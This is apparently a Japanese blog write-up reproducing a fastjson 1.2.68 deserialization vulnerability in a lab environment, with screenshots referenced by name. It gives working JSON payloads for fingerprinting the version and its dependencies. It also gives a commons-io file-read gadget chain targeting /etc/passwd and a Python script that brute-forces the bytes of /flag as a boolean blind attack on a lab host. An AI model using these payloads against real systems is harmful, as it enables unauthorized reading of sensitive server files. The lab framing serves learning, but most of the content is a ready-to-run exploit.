banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

fastjsonの脆弱性再現-1268-readfile

06-1268-readfile#

参考:https://github.com/lemono0/FastJsonPart

主打一个プロセス再現、脆弱性利用プロセスの理解、ネット上には多くの大物の文章があり、文章はとてもよく書かれていますが、基礎学習としてはまだ不十分です(特に、idea を使って Java ファイルをコンパイルする方法や、依存関係などの基本的な問題を解決する方法、-__-|.)、なので自分の再現プロセスの流れを書き留めます。

バージョンを検出し、括弧を削除してエラーを報告

Pasted image 20250108160156

{
  "@type": "java.lang.AutoCloseable"

Pasted image 20250108160246

バージョンは 1.2.68

このバージョンは jndi の利用を制限しており、一般的な方法はファイルの読み書きです。

環境依存の検出

Character 型の変換エラーを利用し、指定されたクラスが存在する場合は変換エラーが報告され、存在しない場合はエコーがありません。

jdk11 かどうかを検出

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "java.net.http.HttpClient"
		}
	}

Pasted image 20250108160715

jdk11 ではないことを示すだけです。

commons-io 依存の検出

{
"x": {
  "@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.apache.commons.io.Charsets"
}}

Pasted image 20250108160900

commons-io 依存が存在することを示していますが、バージョンは不明です。

バージョンを検出

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "org.apache.commons.io.file.Counters"
		}
	}

Pasted image 20250108161012

org.apache.commons.io.file.Counters は commons-io2.7~2.8 で導入されており、重要なエラーのエコーはありません。したがって、2.7~2.8 バージョンではないことを示しています。

commons-io2.0~2.8 の下でファイルを読み取ると、poc は以下のようになります:

{
  "abc": {
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///etc/passwd"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },
    "boms": [
      {
        "charsetName": "UTF-8",
        "bytes": [
          114,111,111,116
        ]
      }
    ]
  },
  "address": {
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.CharSequenceReader",
    "charSequence": {
      "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
    "start": 0,
    "end": 0
  }
}
}

上記の poc は /etc/passwd を読み取ろうとし、以下の内容を返します。これは /etc/passwd の内容を正常に読み取ったことを示しており、114,111,111,116root です。

Pasted image 20250108161304

Pasted image 20250108161444

これにより bool ブラインドインジェクションが発生しました。次はスクリプトを書いて敏感なファイルを読み取り、バイトをブルートフォースすることになります。

著者が提供した以下のスクリプトを使用してブルートフォースします。

import requests
import json

url = "http://10.30.0.84/login"

asciis = [10,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126]
file_byte = []
data1 = """
{
    "abc": {
				"@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "jdk.nashorn.api.scripting.URLReader",
                "url": "file:///flag"
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
        },
        "boms": [
            {
                "charsetName": "UTF-8",
                "bytes": [
"""  

data2 = """
                ]
            }
        ]
    },
    "address": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.CharSequenceReader",
        "charSequence": {
            "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
            "start": 0,
            "end": 0
        }
    }
}
"""
proxies = {
    'http': '127.0.0.1:8080',
}

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
    "Content-Type": "application/json; charset=utf-8"
}


for i in range(1,30):  # どのくらい読み取るかは自分で定義しますが、一度に長すぎないように、複数回に分けて読み取ることをお勧めします。
    for i in asciis:
        file_byte.append(str(i))
        req = requests.post(url=url,data=data1+','.join(file_byte)+data2,headers=header)
        text = req.text
        if "charSequence" not in text:
            file_byte.pop()         

print(','.join(file_byte))   
file_str = ""
for i in file_byte:
    file_str += chr(int(i))
print(file_str)
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。